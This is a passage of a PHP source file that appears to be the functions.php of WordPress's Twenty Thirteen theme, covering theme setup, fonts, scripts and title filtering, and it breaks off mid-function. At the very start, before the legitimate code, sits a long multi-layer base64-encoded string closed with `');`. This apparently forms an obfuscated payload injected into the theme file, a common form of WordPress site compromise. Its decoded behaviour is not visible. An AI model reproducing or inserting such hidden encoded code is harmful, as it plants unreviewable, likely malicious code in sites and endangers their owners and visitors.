Uk1IQklWa1JHUzFkR1JsZFRhMVpUVmxaS2JWVnRjelZWTVdkM1lrWkdTbUZZWkhCVk1GcFRWbFpXUjA5VlVsVlNWM2hIVmtkNFUxcHNUbGRSVjJ4TlVUQndTbFpyV2xOVlZtZDNWMnhDVm1KSFVrTldWM1JUVW14S1JGTllUa3BoTW1oV1ZtdGFRMXBzU25KUFZrNVhUVVZhVkZWclZsZFNWbWQzVjJ4Q1ZtRlZiSHBUVjNSdlZsWmFSMUZ0V2xOaGVteFVWbXBDUjFVeFNrWldhMVpaVFVad1VWWlhkelZUYkZaRVUxaE9TbEV3Y0VwV2ExcFRWVlpuZUZGclVsbE5WWEJIVmtaVk5WWldTbGRQVlVwVFVsWktWRk5YYkROaFZrNUhWV3hXVmxKcWJGSldWM00xVjFaa1YwOVZVbFZOUkZaUVZXeFdUMVpXVGxaUFZUbEtZVmhrY0ZVd1dsTldWbFpIVDFaa1ZGWlZWbkJVUlU1Q1lWWk9SMVZzVmxaU2FteGFWMFJDWVZWR1ZuTmFSVXBXWVRGS1IxVnJUa3BqTUd4RVUydHNWMUpzU2xKWFJFWnZXbXhLY2s5V1RsZE5SVnBVVld0V1YxSldaM2RYYkVKV1lWVnNlbE5WVGt0VFZscEhWV3hHV1UxWGFHMVZiWE0xVlRGWmQxSnNUbE5TVmxwR1YwUkNZVlZHVm5OUFZYQldVVEJzZWxOWGRHOVdWbHBIVVcxYVdGSnFiRXRXUmxaaFZVWldjMXBGU2xaaE1VcFZVMWRzTTJGV1RrZFZiRlpXVW1wc1dsWlhjelZYVm1SWFQxVlNWVTFFVmxCVmJGWlBWbFpPVms5Vk9VcGhXR1J3Vm0xMGMxRnJiSEJrTW1SS1lrZG9iVlZ0Y3pWVk1WbDNVbXhPVTFKV1drWlRWMnd6V2pCc2MyRkhXbE5oZW14VVZtcENSMVV4U2taV2ExWlpUVVp3VVZaWGJFcGpSVGt6WTBjeGFVMHdjSE5YVm1SUFlqQjBSRlZ1WkdwaVZHc3dXbFpaTldJeGNGaFNiWFJoVjBWd05sTlZaRWRsYTJ4RVZXNWthbUpVYXpCYVZsazFZakZ3V0ZKdGRHRlhSV3gzVVRJMWVsTXlSbGhYVnpsb1YwVTFObGRzYUZKaU1IQkhUMVpTVTFacmNGaFZiRnBMV1d0d1NWRnViR2xOTW1jeFYwUktiMkpHYkZoVmJYaHFZa1JDZDFOVlRscGlWV3hKVVc1c1lWWXlVbTFaYkdSSFRVWnJlVm95T1VwaFZHeHNVekJhZW1WRmVGVmlSMUp0VW01T05GUkdVbk5hUm1RMlVWaFNVRlpxUlRSVVZscDZaREI0VldKSFVsaGxhMFl3VkRGWmVFOUZNWE5qTTJSTlZrWkthMVl6Y0VKa1JUbFhUVlJvVG1Gc1dtbFVWVTEzVFZab1ZHRXlPVmxSZWxKMlZqTndRbVJGT1ZkTlZHaFlaV3RXTUZReFdYaFphekZFVFVSV1dWZElaRFJXTTNCQ1pFVTVWMDFYU2s1UmVrRXhWMFpvTTJWV1pEWlJXRkpQVW1wR2FWUlZUWGRPVm1oWlpETnNUMVp1VGpOVVJsSlhXa1YwVkdKRVpFNU5la0p5VkVoc1NtTXdiRVJWYlZwV1RVWmFWRlp0ZEZkVk1XUTFWVzVrYW1KVWF6QmFWbGsxWWpGd1dGSnRkR0ZYUlhCclV6Rk9jMDR5VG5SV2FrSnJWMFZ3TVZOVlRsTmFiRlYzVm14T1YyRXhXbFJXTTJ4VFpESk9kRTlVVW14V2FteDJWMnhrUjJFeGNGbFRiVkpRVFhwQ1RGZHNaRFJsYkhCVVVXNUNZV0ZYYURaYVJXaExZMGROZWxWdWJFeFJNR3g2VTFkc00xb3djRWRQVmxKVFZtdHdXRlZzV2t0WmEzQkpVVzVzYVUweVp6RlhSRXB2WWtac1dGVnRlR3BpUkVKM1UxVk9SazlXUWxSUmEyUlNWbGhvVlZWc1RuSlRNbFkxVlc1a2FtSlVhekJhVmxrMVlqRndXRkp0ZEdGWFJYQnRXa1ZrVjJSSFRrUlJWR3hLVTBaS05WbFdZM2RpTVd4WlUyNXNXbGRIZUcxWmVrcHZZMFp3ZFZWWE9XRlhSMmd6V1d0ak5XRXhjRlJhTW14TlVUQnNlbE5WVGxOYWJGVjNWbXhPVjJFeFdsUldNMnhUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWSk1WVEowZDFRemJFSlRNa1pZVjFjNVRGRXhTak5aYWs1UFdtMVNTRlp1VW1wUk1FVTFVMVZvVDAxSFRuUmlTR1JwVFRBeGRsTnJhRU5sVjBsNllVUldXVTF0YUhOWFZtUlRZa2RPYzA5VVFtRldla1l6VkVWT1FtRlZPWEJUV0VKTVZUQkdiMVZHVVhkYU1VcHlVbXN4VmsxR1ZuZFRWVTVUWkRKT2RFOVVVbXhXYW14MlYyeGtSMkV4Y0ZsVGJWcHJVakZhTUZrd1RrSlBWV3hKVkdwR1dtSnJOSGRaTW14dVlUSk9TVk51V214VFIzaHRXVlZrVjJGR2NFaFdibXhaVFRGS2MxbHNhRUpqTUd4RlVWaE9TbEV4U2pOWmFrNVBXbTFTU0ZadVVtcFJNbk16VTFWR2QyTkdjSEJoU0dScVlsWmFkVmRFU1hoaFIxSklWRzA1VEZFd2JESlhSMnh2V1dzeFZFMUVWbGxYU0docFZGWk5kMDVXYUZkak0yUk5Wa2Q0YTFwclVrZFphekZFVFVSV1dWWnVUak5VUmxKeldrZGFSVk50U2s1UmVrRjNWMFphZW1Rd2VGVmlSMUp0VWtWcmVGWXpjRUprUlRWWFRVaENURkp1WkRGVE1GcDZaREI0VldKSFVtMVNiazQwVkVaU2MxcEdaRFpSV0ZKUVZtcEZORlJXV25wa01IaFZZa2RTV0dWclJqQlVNVmw0VDBVeGMyTXpaRTFXUmtwclZqTndRbVJGT1ZkTlZHaE9ZV3hhYVZSVlRYZE5WbWhVWVROQ2JHVnJORFZUYTAwMFlWVjRSRkZYZEdwVFJYQXlXbFZvYzFwdFJraFdiV2hoVWpGYU5WZEVUbE5pUjBwWlVWaENTbEV5ZURWWGJHaFRUVmRPZEU1SFpFdFRSVW8xV1dwT2IwNVdaM2xoUjNoYVZqRktjMWt5ZHpWTlJuQllUVmhrVUdRelFUVlJNalIzVXpKT2RGWnFRbXRYUlhBeFUxVk9VMXBzVlhkV2JFNVhZVEZhVkZZemJFdFZNVXBXVFZaQ1YxSldXbTFWVmxaVFVsWldjRk50VWxCa00wRTFVVEkwZDFNd1RuUmlSekZLVVRKa2IxZHROVmRrVm10NlZXNUNhVTFxVm0xWGJHaHZZMGROZWxWdWNFeFJNSEJvVmtaU1YyTlZNWFZTV0dScVRXMW9kRmRFU210aVIxSkhUMVJHYW1KWVpIQlRNVTV6VGpCT2RGZHFSbWxpVlRSM1dWWmpOV1JWYkVkalJUVlBWakk1TlZreFVrTmxiVVpJVjIxYVlVMXNXWGRYUkU1WFpWZEtSRm96UW14bFZVWk1VMnRvVjJWWFNrUlJWR3hLVVRCd2RscEZhRk5rTURsd1QwaGFTbUZWUmpGVFZVNVRXbXhWZDFac1RsZGhNVnBVVmpOc1MxTldXa2RWYkVaWlRVZG9VVlpVUmxKaFZtaFVVVmhXU2xFeFNtMVdWRUpYVlRGYWNsWnNUbGhsVlhCVVZXeGFSMVpzU2xkVWJGWlpUVlphVkZVeFRrdGFSVGt6WTBoQ1lXRlZSblpaZWs1VFpWZE9TRTlZY0V4Uk1VbDRXVEl4TTJNd2JIRlBSMnhNVlRCR2IxVkdVWGRhTVhCMFVtNU9hazFzVm5kYVdHUjJZVEpTV1ZOdVRrcFNSRUp1V1hwT1YyRlhUWHBWYm14TVVURkplRmt5TVROak1ERkVaVWh3YTFORmNETlphazVPWWpCd1NWWnViR2xSTTJSd1ZVaHNTbU5GZEZWak1IUnRWVmhDTlZkc2FGTk5WMDUwVGtka1MxTkdXalZaYTFKNlV6SmFVbU5FYkVSYU1qbE1XVlprV2xvd2RFUlNiVEZyVm5wV2NWcEZaSE5rYlVwelQxZDRiRkl5ZURaYVJXaE9ZakJzYzJORk5VOVdNamsxV1RGU1EyVnRSa2hYYlZwaFRXeFpkMWRFU2s5a2JVcDFWVzE0YVdKc1NqWlRWMnh5WTBkV00yTkhNV3RXZWxaeFdrVmtjMlJ0U25CUmJVWlZWa1phZUZSWE5VWmtNazE1WVVjeFdVMXRVbk5hUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVJsbFJXRTVLVVRGS00xZFdaR3RpUlhSWll6QjBhRll4YkhaVE1HUmhUVmRLZEZScVFtaFdlbXd4VjBSS1YwNUhSbGxVYWtKcVpWZGtjRmRVVGxkbFYwcEhUMWhDYVdKWGQzZFRWMnh5WTBWc1JGZFhNVXBSTW1oMFdrWmpNV0Z0VWtoaVNGcHBZa1JzYzFwVlpITmxiVkpKVkZjNVNtSlZOSGhaTWpFMFdteHdXV0ZIZUZwbFZXeDNVekZPYzA0d1RuQlJWMlJLVVRCR2NsZFVTbTVhTVVKVVVXMXdhMWRGY0hwWFJFcHpaRmRHV1ZWWE9VcGlWMmQzV2tWb1FrNXJlRFZQUjJ4S1VYcFNjbGxXYUVKYU1IaHdVVmRzVFdWVmJHNVVSMnhUWkRGc1dGcEhlRXhXU0U1TVUxVk9RbG93YkVoVWFrWnFZbGhvYlZsNlNsZE5SMGw2VVdwQ1RGRXhTbkZaVlU0eldqRkZlRlpzVGxWU1ZHeFNWbXRaTlZVeFNsZFZiRnBXWVhwV1ZsWlhkRWRVTVZWM1YydGFWbUZZWkc1VVZrNXlUakJPY0ZGWFpFcFJNRXB4V2tab1MyTXhaM3BVYlhoclVucHNNMXBGVG01aE1XdDVXak5PU2xKVk5WZFdWM1EwVlVaV1IxVnRXbGRTVjNoUFZXeFZOVlpzV2tSa01tUk9aVmR6TTFFeWJFSmFNR3hFVVZkMGExWXpaM2RUVlZGM1dqSlNTVk51UW1sVk1taHhXa1pvUzJNeFozbFdhbEpoVmpBeGRsTnJaRTlpTUhSVVlYcGtSR0ZWUm01VFZVNURaVlp3V1ZWcVJtcGlWRkp1VTJ0b1YyTXlVa1ZqTUhSS1VUQkdibE5WWjNkVE1FNTBZa2N4U2xFeWFIZFpiVEZ6V214dmVWWnFRa3hSTUhCdldXdGtOR1J0VVhoUFZFWnFZbGhvYlZkdE1EVmtNWEJZVGtkc1RGVXlkRzVhV0dSMldqQnNSRkZYWkV0VFJscDZXa1ZPUWs5VmJFbFZibXhvVm5wQ2RsVlZaR0ZqUjBwSVZtMWFZVTFzV1hkWFJFcFBaRzFLZFZWdGVHbGliRW8yVXpCT1MySXlVa2xWYm1SUVlWUm9NbE5YYkVKa1ZYQklZa2hrU2xGNlVtNVRWMnMwWVZWc1JFNUhkR3BTTUZwMVYyeE9jbU5GT1ROaU1tUktVVEJHYmxreU1WZE5SMUpaVTI1V1NsRXhTWGhaYTJoU1RqQk9jRkZYWkVwUk1FazFVVEpzUWxvd2JFUlJWM1JoWW10R2JsVkdUa05pVjAxNVQxZHdhRTFxYkROWGJHTXdZakJ3U0dKSVpFMVJNRVV3VkZWT00xb3djRWhXYm14cVlsUldNbFJGVGtKaE1YQlpVMjVzYWsweFNqVlVSVTVDWldzeFJHRjZaRVJoVlVadVUxVk9RMk5HY0hCUlZ6bExVakZ3TTFNeFRrTk9NSEJJVDFSR2ExRXdSVFZUVlU1TFUwWktWMVZYWkV0VFJVcHZWMnBLVmxveFRrZFZiRlpXVVhwb05GUkhjRU5aTWs1elpVaFdTbUZ1VGt4VFZVNUNXakJzUkZWdVdtdFhSa1p1VkVkdmQxb3diSEpoU0ZwcVRURkZNbE5WVGxOalIwNUhaVWhzV1ZKNlVuQlVNMlIyV2pCc1JGRlhaRXRTZW10NFdrVk9RbVJXUWxSUlYyeFNUV3BzTVZsdE1WZGhiVkpJWWtoYWFXRnRPVzVWVkVvMFpHMU5lVlp0VG1waVNHZ3hWMFZvUzFreVNuQlRWR1JFWVZWR2JsTlZUa05pVjFGNlUyNUNhMUl4Vm5aVGEyUmhaREI0UkZGWGRHbE5NVmwzVXpGU2VsTXdiRVJSVjJSS1VURktOVmRzYUZKYU1VSlVVVmRzU21GdVRreFRWVTVDV2pCc1NWcEhPV2hXTTJoelUxVk9ibUZHY0hSV2JscGhZVmRrY2xkdE5VSmpSWFJVVVdwa1MxTkZjSE5hUlU1Q1dqQjRjVTFIWkVwU01YQjFWMnhvVTJWcmRFUlZiVEZxVVROa2JsUldVa3BPUlhSVlpFUnNSR0pXY0hGWmEyTTFaV3h3VkZveWRHRmlhMFozVkROa2RtRXlVbGhsUkVKS1VrUkNibHBGYUV0alIwcFVZVWh3YTFZd2NEWmFSV2hLWWpCd1NWTnRlR3RSTTJSdVdYcE9VMlZYVGtoUFdIQk1VVEZLTlZkc2FGSmpNR3hFVTIxT2FtSklhREZYUldoTFdUSktjRk5ZUWtwUk0wNXVWR3RPY21ORk9IcE5SWFJxWWxaWmQxcEdhRXRrVld4RVZXcEdhVk5HUlROUk1qUjNVekphVW1Jd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWM2gzVkdzMVdHSXpiR3BXUlVvMldWVmtZVnB0VFhsU2JsSnJWako0YlZkcVNsZE5SbWQ1WlVoQ2FXSllValpUVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiVVpWVmtaYWVGUlhOVVprTWsxNVlVY3hXVTB3Tlc5WmJHaFhZMFpuZVZwSGVHdFNhbXg2V1Zaak1XTnRUalZhTTBKc1pESTVURk5yWkVkak1rcEVVVlJzU2xJeVVuTmFSVmsxWTIxS2RFOVVUbGxOYlhnelV6Qk9jazR3VG5WVWJUbHJWakZ3ZEZsclpGWmlNSEJJVW01T2FWRXljek5STW14VFRWZE9kR1F5WkZGVk1FcG9Wa1pTVjJOVk1YVlNXR1JxVFcxb2RGZEVTbXRpUjFKSFQxUkdhbUpZWkhaVE1WSjZVekJ3U1ZOdGVGcFdNMmh0V1Zab1Fsb3hRbFJSYlVaVlZrWmFlRlJYTlVaa01rMTVZVWN4V1UxdFVuTmFSVmsxWlZad1dGSnVUbGxOYlhnelV6Qk9jazR3VG5CVmFrWmFWVEJGTlZOVmFFOU5SMDUxVlc1YWFWSjZhM3BYYkdoS1lqQndSMDlXVWxOV2EzQllWV3hhUzFscmJISmhSbFpYVW10S2JWWnNXazlTYkZaelQxVktVMDFHV2xCV2EwNUxXa1YwVldNd2RFdFNNRnAzVjJ0T1FrOVZiRVJUV0doT1VrVkdORk5YY0hwVE1IQklWRzVhWVZFd1JUVlRWV040WVRBMVZGb3lkR3RYUlhCNlZFYzFVMk5IU2xoV1Z6bE1WVEp6TTFFeWJGTmhiVVpJVm0xd2FHVlZSVFZUVldONFlUQTFWRm95ZEZwTmFteHlVekZTZWxNd2NFbFdiV2hLVWtSQ2JscEdhRXRqTVhCWVRsZHdhVTFzU25OVE1HaFBUVWRPZFZWdVdtbFNlbXQ2VjJ4b1NtSXdjRWRQVmxKVFZtdHdXRlZzV2t0WmEyeHlZVVpXVjFKclNtMVdiRnBQVW14V2MwOVZTbE5OUmxwUVZtdE9TMXBGZEZSaGVtUkVZVlpLTlZkc1pGcGFNVUpVVVdwR2FtSllhSE5aYlRGUFpHeHdTRlpYT1dwTk1VbzFXa1ZqTldNeVNYcGFSM2hxWVZka2NsZEVSazlTYkZaelYydGFWbUpJVG5CVk1GcFRWbFpXUjA5V1RsTldWbkJIVmxkMFYxVXdiSE5OU0VKTVZraE9URk5yYUVOaFJtOTVWbGRrVVZVd1JuQlVSRWw0WXpCNGRWRnRPV3BTUkd3d1dXcE9VMkl4Y0ZsVFZHeGFUV3BzZWxwRll6VmtWbkJJVW1wS2FGWXhWakZYVkVrMVpFVndkRlJ1YkZGV1JWWjBWMVprYzJFeFFsUlRXRlpMVWpCYWQxZHJUVEJoVlhCMVZtNXNhVkpFUW5CVVIyeFRUVmRPZEdRelZrcGhWbkIzV1RCUmQyRlZlSEJWYm14aFZqQmFlbGRFU25Oa01IaHdVMWN4YTFZd1ZUVlRWMnN3WVRKU1dGSllWa3BoVm5CeFdXcEtVazlWYkhCT1IzUmFUV3BzY2xSSGJFcGlWMDUwVm0weFVWVXdiREZUYTJoTFlrWndjV013ZEVSaVZuQXlXVEl4VjJGR2EzbGFNbVJNVVRGS2IxbHJaRE5hTVd4WlZGZGtTMUl5ZUROVE1XaDZVekJ3U1ZWdGNFcFNSRUp1VmpKemQwMVhSbkZUYm1oT1UwVTFkbGR0ZHpWaWJIQlpWVzFhV2sxcWJERmFSV1JYWkZkU1NWUlhPV3RUUlhCM1dXeE9ibUV5UmxsUldFSk5VVEZLTTFkV1pHdGlSWFJWWXpCMFMxTkZTakpaTTJ4Q1QxVnNTVlJxUW1waWEwb3lXVE5zYm1FeVVraFVXRTVLVVRGS2NWbFZaRmRoYlVZMVlYcGtSR0pYZUhSVFZVNXVZVEpPU0U5WWNFcFJNRlUxVlVaT1EySldiRmhsU0hCaFZUSjNNMUV5YkZOa01rNTBUMVJTYkZacWJIcFpWbWhQVFVWc1JVMUhaR3BOTVZwd1dYcE9VMlZWZEVSVmFrSmFaVmhrTTFSRlRsTmtNa2w2VkZoQ1VHUXlPVXhaZWtwSFRXeHdWMDlZU21saVZHdDZWMFJLYzJRd2RFaFdhbEpxVWpOb01sZHJaRlppTUd4elpVaFdTbUZZWkhKWk1HaExaRzFXU1dKSFdtbFNNbmcyV2tWT2NtTkZPVE5pTUhSRVlWWktlbGxXWXpGamJVNDFVVlJzU2xORk5IaFhWelZQVFVkT2NGb3lkR3RTTURGNlUydG9RMlJ0VGpWak0zQk9ZVmR6TTFFeU5VdGlSMUpKVm01c2FXRlZSbkpaYTJSelpGZEZlbFJVWkVSaWFrSk1XbXhHZDA5VlRuVk5SWFJFWWxkNGRGTlZUbTVoUm5CMVZtNVdXazB4U25kWmFra3hXbXh3V1dGSVFtcE5NVW8yVXpCT1MxbFdVbFZXYmtaT1ltdFdNMWw2U205aVZtZDVUVmhhWVZKcWJIRlpha2t3WVZWMFZHSkVaRVJpVm05NFdXMHhUMDFIUmxoUFdGWktVbTVDVDFSc1pIWmxWMDVWVVc1d2FGSXhjRzFaYkdNMVlURm5lVlJ1V21saFYyUnlWMVJKTldSVmRGbGpNSFJvVmpGc2JsTXdhRTlOUjA1MVVXNWFhbVZYWkhKWFZFazFaRlY0UkZOVWFGcGlWR3h5V2xaT1NtTkZiRVJTVkd4UlZUQktkRmRXWkRSbGJIQlVZVEprYkdReU9YSmFSV1JYVGtkU1JGRlViRXBUUlVvMVYyeGthMXB0VG5SV2JtUnBVakJhY1Zkc1RtNWhWWGcyWlVkc2FVMXNTVEZUTUZvMFpXeGplRTVEZEZsVk1qbDNWVWh2TUdSdFJsUlRXRTVLVVRCck5GZFhNRFZoTWxaWFpETm9VV0ZWYkRGV01uTjNUVmRHY1ZOdWFFNVRSVFYyVjIxM05XVnNiRmhOVkVab1ZtcHNkVmRzYUZOYWJVcElZa2hXYUUwd01YWlRNVTR6V2pCd1NGUnVXbWxoV0dRMFV6RlNlbG93YkVKalNHeGhWMFpKZUZreU1EQmFNSEJKVlcxNGJGTkdSVE5STWpSM1dqRndXR1ZJY0dGVk1Fa3pXVEl4VjAxSFVsbFRibFpLVVRGS2NWbHFTVEJPTWxwU1kwUnNSR0pxUWt4Uk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzV0dGNlFYaFpWM0JMWlVVeFNWUnRPV0ZpUkd4eFYxWmtOR014YkhSU2JYQm9aVlZzZDFNeGFIcFRNWEIxVm01V1drMHhTbmRaYWtrd1dqRmtjazFFUm1oaGEzQTBWRlZvVDJJeGNITlBWM0JhVmpOb2VsZFhNVWRoYlVZMVdqSjBXbUpzV25SVE1XaDZVekpHV0ZkWFpFeFNNbWh6VjFaa1UySkhUblZVYlZwcVRXeGFNVnBGVG01alJYUlpZekIwYUZZeGJHNVRNR1J6WkZabmVWSnViR3BpVlZreFV6Qk9TMUpIU1hsT1ZFSmhWbnBWZDFSR1ZsZGtWbXQ1VDFkMGFGWjZWblZVTW14RFltMVdkR0pJWkVwaFdHUnVXVlZrVjJGR2NFaFdibXhxVFZSc2VsbFdhRTlOUlhSRVlUTkNURmRJVGt4VGEyaFRaRWRPU0ZkdVZscFdla1p6VTFWUmQxb3lVa2hXYmxKcVVucFdiMWxzVG05TlJtZDVWVzVDYW1GWFpIZFVSVTVDWVZaS2NrOVdRa3BoVjNNelUydG9kMkpWYkVWTlIyUmhZbFJzTTFkc1l6QmlNSEJKVlc1U2FsSXhjREZYVm1ONFlrVjRSRkZYYkd0bFZXeDNWRE5zUTJKWFRrbFdha0pxWlZka2NscFhNVnBqTUd4RVZXMXNhMVl4YkhkVU0yeERZbFpyZVdWSVdtcE5iRloyVTJ0b2QySlZkRlZqTW1STFUwaENjbE5WVVhkYU1XOTZZMGhhYWxJeFdqRlRNRTVUVFVkS1dWRnRNV2xpVlZvd1YyeE9NMW93YkhWVFYyeE1Wa2hPY2xkVVNUVmtWMUpJVm01V2ExTkZNVzVWUms1RFltMVdkVk50ZUZwV01VWjJVMnRvZDJFd2VFUlJXR2hPVWtWR00xUlZVa0prTURGRVlYcGtTMUl3TlRKWmJUVlRZa2RLZFZWdWNFcFNSRUp1VmpKemQwMVhSbkZUYm1oT1UwVTFkbGR0ZHpWa1IwbDVWVzFhV2sxcWJERlRNRTVUWVcxSmVVNVVRbUZXZWxWM1dUTnNjazR4YjNwalIzQnBVbnBzTmxkc1RtNWhNbFowVlZoQ1VFMHhXakZaYTJSelpGZEdOVm95ZEd0U2VrWXpWMjB3TVdGSFNsaFdXRUpRWlZaS2NWbHFTVEZOUm5CWVRsUkNhbVZWUlRWVFZXUnJUbXh3V0U1WGNHbE5iRXB6VXpCT1UyRnRTWGxPVkVKaFZucFZkMWt6YkhKT01scFVVVzE0YVZORk5YTlRWV2g2WVRGcmVVOVlWbXRTTVZveFdrVm9UbG94UWxSUmJVWlZWa1phZUZSWE5VWmtNazE1WVVjeFdVMXFSakpYYTFrMVlXMUplVTVIT1V0U01HOTRWMjFzY2s0d2JFbE5WR3hLVWpGYWVsbDZTbFphTWxZMVZXMXdhVTFxVlhkWGJHTXhUVWRPTlZGVWJFcFNia0pQVkd4a2RtVlhUbFZSYm5Cb1VqRndiVmxzWXpWaE1XZDVWRzVhYVdGWFpISlhWelZYWWxWMFZXUkViR3BpVmxsM1drWm9TMlJWZEVSVmJYQnBUV3BWZDFkc1l6Rk5SMDQxWVhwa1JHSnFRa3hhYkVaMldqQk9kRTlYYkZsTk1EUjNWMVpvUzAxRmRFUlRiVVpWVmtaYWVGUlhOVVprTWsxNVlVY3hXVTFyTlc5WmEyUTBZVlpzV0ZSdVNrcGhWM016VVRKa2QwOVZUblZOUlhSdFZWYzRPVWxwYTNCUGVVRTlJaWtwT3lBPSIpKTsg');/**
 * Twenty Thirteen functions and definitions
 *
 * Sets up the theme and provides some helper functions, which are used in the
 * theme as custom template tags. Others are attached to action and filter
 * hooks in WordPress to change core functionality.
 *
 * When using a child theme (see https://codex.wordpress.org/Theme_Development
 * and https://codex.wordpress.org/Child_Themes), you can override certain
 * functions (those wrapped in a function_exists() call) by defining them first
 * in your child theme's functions.php file. The child theme's functions.php
 * file is included before the parent theme's file, so the child theme
 * functions would be used.
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are
 * instead attached to a filter or action hook.
 *
 * For more information on hooks, actions, and filters, @link https://codex.wordpress.org/Plugin_API
 *
 * @package WordPress
 * @subpackage Twenty_Thirteen
 * @since Twenty Thirteen 1.0
 */

/*
 * Set up the content width value based on the theme's design.
 *
 * @see twentythirteen_content_width() for template-specific adjustments.
 */
if ( ! isset( $content_width ) )
	$content_width = 604;

/**
 * Add support for a custom header image.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Twenty Thirteen only works in WordPress 3.6 or later.
 */
if ( version_compare( $GLOBALS['wp_version'], '3.6-alpha', '<' ) )
	require get_template_directory() . '/inc/back-compat.php';

/**
 * Twenty Thirteen setup.
 *
 * Sets up theme defaults and registers the various WordPress features that
 * Twenty Thirteen supports.
 *
 * @uses load_theme_textdomain() For translation/localization support.
 * @uses add_editor_style() To add Visual Editor stylesheets.
 * @uses add_theme_support() To add support for automatic feed links, post
 * formats, and post thumbnails.
 * @uses register_nav_menu() To add support for a navigation menu.
 * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_setup() {
	/*
	 * Makes Twenty Thirteen available for translation.
	 *
	 * Translations can be added to the /languages/ directory.
	 * If you're building a theme based on Twenty Thirteen, use a find and
	 * replace to change 'twentythirteen' to the name of your theme in all
	 * template files.
	 */
	load_theme_textdomain( 'twentythirteen', get_template_directory() . '/languages' );

	/*
	 * This theme styles the visual editor to resemble the theme style,
	 * specifically font, colors, icons, and column width.
	 */
	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentythirteen_fonts_url() ) );

	// Adds RSS feed links to <head> for posts and comments.
	add_theme_support( 'automatic-feed-links' );

	/*
	 * Switches default core markup for search form, comment form,
	 * and comments to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
	) );

	/*
	 * This theme supports all available post formats by default.
	 * See https://codex.wordpress.org/Post_Formats
	 */
	add_theme_support( 'post-formats', array(
		'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video'
	) );

	// This theme uses wp_nav_menu() in one location.
	register_nav_menu( 'primary', __( 'Navigation Menu', 'twentythirteen' ) );

	/*
	 * This theme uses a custom image size for featured images, displayed on
	 * "standard" posts and pages.
	 */
	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 604, 270, true );

	// This theme uses its own gallery styles.
	add_filter( 'use_default_gallery_style', '__return_false' );
}
add_action( 'after_setup_theme', 'twentythirteen_setup' );

/**
 * Return the Google font stylesheet URL, if available.
 *
 * The use of Source Sans Pro and Bitter by default is localized. For languages
 * that use characters not supported by the font, the font can be disabled.
 *
 * @since Twenty Thirteen 1.0
 *
 * @return string Font stylesheet or empty string if disabled.
 */
function twentythirteen_fonts_url() {
	$fonts_url = '';

	/* Translators: If there are characters in your language that are not
	 * supported by Source Sans Pro, translate this to 'off'. Do not translate
	 * into your own language.
	 */
	$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'twentythirteen' );

	/* Translators: If there are characters in your language that are not
	 * supported by Bitter, translate this to 'off'. Do not translate into your
	 * own language.
	 */
	$bitter = _x( 'on', 'Bitter font: on or off', 'twentythirteen' );

	if ( 'off' !== $source_sans_pro || 'off' !== $bitter ) {
		$font_families = array();

		if ( 'off' !== $source_sans_pro )
			$font_families[] = 'Source Sans Pro:300,400,700,300italic,400italic,700italic';

		if ( 'off' !== $bitter )
			$font_families[] = 'Bitter:400,700';

		$query_args = array(
			'family' => urlencode( implode( '|', $font_families ) ),
			'subset' => urlencode( 'latin,latin-ext' ),
		);
		$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
	}

	return $fonts_url;
}

/**
 * Enqueue scripts and styles for the front end.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_scripts_styles() {
	/*
	 * Adds JavaScript to pages with the comment form to support
	 * sites with threaded comments (when in use).
	 */
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
		wp_enqueue_script( 'comment-reply' );

	// Adds Masonry to handle vertical alignment of footer widgets.
	if ( is_active_sidebar( 'sidebar-1' ) )
		wp_enqueue_script( 'jquery-masonry' );

	// Loads JavaScript file with functionality specific to Twenty Thirteen.
	wp_enqueue_script( 'twentythirteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150330', true );

	// Add Source Sans Pro and Bitter fonts, used in the main stylesheet.
	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );

	// Add Genericons font, used in the main stylesheet.
	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.03' );

	// Loads our main stylesheet.
	wp_enqueue_style( 'twentythirteen-style', get_stylesheet_uri(), array(), '2013-07-18' );

	// Loads the Internet Explorer specific stylesheet.
	wp_enqueue_style( 'twentythirteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentythirteen-style' ), '2013-07-18' );
	wp_style_add_data( 'twentythirteen-ie', 'conditional', 'lt IE 9' );
}
add_action( 'wp_enqueue_scripts', 'twentythirteen_scripts_styles' );

/**
 * Filter the page title.
 *
 * Creates a nicely formatted and more specific title element text for output
 * in head of document, based on current view.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param string $title Default title text for current view.
 * @param string $sep   Optional separator.
 * @return string The filtered title.
 */
function twentythirteen_wp_title( $title, $sep ) {
	global $paged, $page;

	if ( is_feed() )
		return $title;

	// Add the site name.
	$title .= get_bloginfo( 'name', 'display' );

	// Add the site description for the home/front page.
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) )
		$title = "$title $sep $site_description";

	// Add a page number if necessary.
	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentythirteen' ), max( $paged, $page ) );

	return $title;
}
add_filter( 'wp_title', 'twentythirteen_wp_title', 10, 2 );

/**
 * Register two widget areas.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_widgets_init() {
	register_sidebar( array(
		'name'          => __( 'Main Widget Area', 'twentythirteen' ),
		'id'            => 'sidebar-1',
